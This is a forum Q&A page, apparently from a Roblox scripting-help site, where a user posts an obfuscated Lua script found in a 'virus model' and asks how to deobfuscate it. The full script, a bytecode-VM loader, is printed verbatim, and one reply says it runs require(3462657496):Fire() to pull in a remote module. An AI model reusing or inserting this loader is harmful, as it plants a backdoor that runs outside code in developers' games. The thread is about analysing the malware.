Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
0

Any idea on how to unobfuscate this script that was in a virus model?

Asked by 5 years ago

Hi, I found this in a model and wondered if anyone knew how to unobfuscate it? And if so, how did you do it?


local d = string.byte; local f = string.char; local c = string.sub; local u = table.concat; local h = math.ldexp; local b = getfenv or function() return _ENV end; local l = setmetatable; local s = select; local r = unpack; local i = tonumber; local function A(d) local e, o, n = "", "", {} local t = 256; local a = {} for l = 0, t - 1 do a[l] = f(l) end; local l = 1; local function r() local e = i(c(d, l, l), 36) l = l + 1; local o = i(c(d, l, l + e - 1), 36) l = l + e; return o end; e = f(r()) n[1] = e; while l < #d do local l = r() if a[l] then o = a[l] else o = e..c(e, 1, 1) end; a[t] = e..c(o, 1, 1) n[#n + 1], e, t = o, o, t + 1 end; return table.concat(n) end; local a = A('26B26A27526926927526A24W24723W26F27923Z27926427923U26A1I1T25O27F26I26Q26A25K26I27523Z27R26A25L27X23Z27U26A25F28227427526C27926928827524123L24023V24224628A27924Y23N24023R23W24626B26926D27928N24324723V28N27926A22H24C21A1B24J26926E27924K28Y23R28226A23U26I27M25H28223V26Q25U27S27X23U25E27M25K25E27523Q25M29R25M27529K29T25K27X23V26I23M27S29J26Q27R2A227V28227T290275274'); local n = bit and bit.bxor or function(l, e) local o, n = 1, 0 while l > 0 and e > 0 do local c, a = l % 2, e % 2 if c ~= a then n = n + o end l, e, o = (l - c) / 2, (e - a) / 2, o * 2 end if l < e then l = e end while l > 0 do local e = l % 2 if e > 0 then n = n + o end l, o = (l - e) / 2, o * 2 end return n end local function e(o, l, e) if e then local l = (o / 2 ^ (l - 1)) % 2 ^ ((e - 1) - (l - 1) + 1); return l - l % 1; else local l = 2 ^ (l - 1); return (o % (l + l) >= l) and 1 or 0; end; end; local l = 1; local function o() local o, c, a, e = d(a, l, l + 3); o = n(o, 226) c = n(c, 226) a = n(a, 226) e = n(e, 226) l = l + 4; return (e * 16777216) + (a * 65536) + (c * 256) + o; end; local function t() local e = n(d(a, l, l), 226); l = l + 1; return e; end; local function i() local l = o(); local n = o(); local c = 1; local o = (e(n, 1, 20) * (2 ^ 32)) + l; local l = e(n, 21, 31); local e = ((-1) ^ e(n, 32)); if (l == 0) then if (o == 0) then return e * 0; else l = 1; c = 0; end; elseif (l == 2047) then return (o == 0) and (e * (1 / 0)) or (e * (0 / 0)); end; return h(e, l - 1023) * (c + (o / (2 ^ 52))); end; local A = o; local function h(e) local o; if (not e) then e = A(); if (e == 0) then return ''; end; end; o = c(a, l, l + e - 1); l = l + e; local e = {} for l = 1, #o do e[l] = f(n(d(c(o, l, l)), 226)) end return u(e); end; local l = o; local function V(...) return { ... }, s('#', ...) end local function A() local r = { 0, 0, 0, 0, 0, 0, 0, 0 }; local d = { 0 }; local l = {}; local a = { r, nil, d, nil, l }; local l = o() local c = { 0, 0, 0, 0, 0, 0 }; for o = 1, l do local e = t(); local l; if (e == 2) then l = (t() ~= 0); elseif (e == 0) then l = i(); elseif (e == 3) then l = h(); end; c[o] = l; end; a[2] = c for a = 1, o() do local c = n(o(), 109); local o = n(o(), 42); local n = e(c, 1, 2); local l = e(o, 1, 11); local l = { l, e(c, 3, 11), nil, nil, o }; if (n == 0) then l[3] = e(c, 12, 20); l[5] = e(c, 21, 29); elseif (n == 1) then l[3] = e(o, 12, 33); elseif (n == 2) then l[3] = e(o, 12, 32) - 1048575; elseif (n == 3) then l[3] = e(o, 12, 32) - 1048575; l[5] = e(c, 21, 29); end; r[a] = l; end; for l = 1, o() do d[l - 1] = A(); end; a[4] = t(); return a; end; local function u(l, e, f) local n = l[1]; local o = l[2]; local e = l[3]; local l = l[4]; return function(...) local d = n; local c = o; local a = e; local n = l; local l = V local o = 1; local i = -1; local A = {}; local h = { ... }; local t = s('#', ...) - 1; local l = {}; local e = {}; for l = 0, t do if (l >= n) then A[l - n] = h[l + 1]; else e[l] = h[l + 1]; end; end; local l = t - n + 1 local l; local n; while true do l = d[o]; n = l[1]; if n <= 10 then if n <= 4 then if n <= 1 then if n == 0 then e[l[2]][c[l[3]]] = e[l[5]]; else local o = l[2]; local c = o + l[3] - 2; local n = {}; local l = 0; for o = o, c do l = l + 1; n[l] = e[o]; end; do return r(n, 1, l) end; end; elseif n <= 2 then e[l[2]] = c[l[3]]; elseif n == 3 then local n = l[2]; local a = {}; local o = 0; local c = n + l[3] - 1; for l = n + 1, c do o = o + 1; a[o] = e[l]; end; local c = { e[n](r(a, 1, c - n)) }; local l = n + l[5] - 2; o = 0; for l = n, l do o = o + 1; e[l] = c[o]; end; i = l; else e[l[2]] = u(a[l[3]], nil, f); end; elseif n <= 7 then if n <= 5 then e[l[2]] = c[l[3]]; elseif n > 6 then local o = l[2]; local c = {}; local n = 0; local l = o + l[3] - 1; for l = o + 1, l do n = n + 1; c[n] = e[l]; end; e[o](r(c, 1, l - o)); i = o; else e[l[2]][c[l[3]]] = c[l[5]]; end; elseif n <= 8 then do return end; elseif n == 9 then local o = l[2]; local c = o + l[3] - 2; local n = {}; local l = 0; for o = o, c do l = l + 1; n[l] = e[o]; end; do return r(n, 1, l) end; else e[l[2]] = u(a[l[3]], nil, f); end; elseif n <= 16 then if n <= 13 then if n <= 11 then do return end; elseif n == 12 then local n = l[2]; local c = {}; local o = 0; local a = n + l[3] - 1; for l = n + 1, a do o = o + 1; c[o] = e[l]; end; local c = { e[n](r(c, 1, a - n)) }; local l = n + l[5] - 2; o = 0; for l = n, l do o = o + 1; e[l] = c[o]; end; i = l; else local u; local s; local t; local a; local h; local n; e[l[2]] = f[c[l[3]]]; o = o + 1; l = d[o]; e[l[2]][c[l[3]]] = c[l[5]]; o = o + 1; l = d[o]; e[l[2]] = f[c[l[3]]]; o = o + 1; l = d[o]; e[l[2]] = c[l[3]]; o = o + 1; l = d[o]; n = l[2]; h = {}; a = 0; t = n + l[3] - 1; for l = n + 1, t do a = a + 1; h[a] = e[l]; end; s = { e[n](r(h, 1, t - n)) }; t = n + l[5] - 2; a = 0; for l = n, t do a = a + 1; e[l] = s[a]; end; i = t; o = o + 1; l = d[o]; n = l[2]; u = e[l[3]]; e[n + 1] = u; e[n] = u[c[l[5]]]; o = o + 1; l = d[o]; n = l[2]; h = {}; a = 0; t = n + l[3] - 1; for l = n + 1, t do a = a + 1; h[a] = e[l]; end; e[n](r(h, 1, t - n)); i = n; o = o + 1; l = d[o]; do return end; end; elseif n <= 14 then e[l[2]] = f[c[l[3]]]; elseif n > 15 then e[l[2]] = f[c[l[3]]]; else local o = l[2]; local c = {}; local n = 0; local l = o + l[3] - 1; for l = o + 1, l do n = n + 1; c[n] = e[l]; end; e[o](r(c, 1, l - o)); i = o; end; elseif n <= 19 then if n <= 17 then local o = l[2]; local n = e[l[3]]; e[o + 1] = n; e[o] = n[c[l[5]]]; elseif n == 18 then e[l[2]][c[l[3]]] = e[l[5]]; else e[l[2]][c[l[3]]] = c[l[5]]; end; elseif n <= 20 then e[l[2]] = {}; elseif n == 21 then local n = l[2]; local o = e[l[3]]; e[n + 1] = o; e[n] = o[c[l[5]]]; else e[l[2]] = {}; end; o = o + 1; end; end; end; return u(A(), {}, b())();
0
not obfuscated. just filled with crap and terrible variables. convert the variables to readable words that relate to the expression. Fifkee 2017 — 5y
0
Woah okay so I just printed this and got a horrifying output, it looks like some special characters decoder... Here is the output: ?????????????????????????????????????????????????????????????????????????????????????????????Y?.???????????????????????????????????????????????????????????????????????????? greatneil80 2647 — 5y
0
omg rip it doesnt even allow special characters greatneil80 2647 — 5y
0
b r u h theking48989987 2147 — 5y

1 answer

Log in to vote
0
Answered by
ofli_p 30
5 years ago

Just by dumping the constants it seems it loads another module

require(3462657496):Fire()
0
care to explain how you did that? I just want to know how to unobfuscate that. mybituploads 304 — 5y
Ad

Answer this question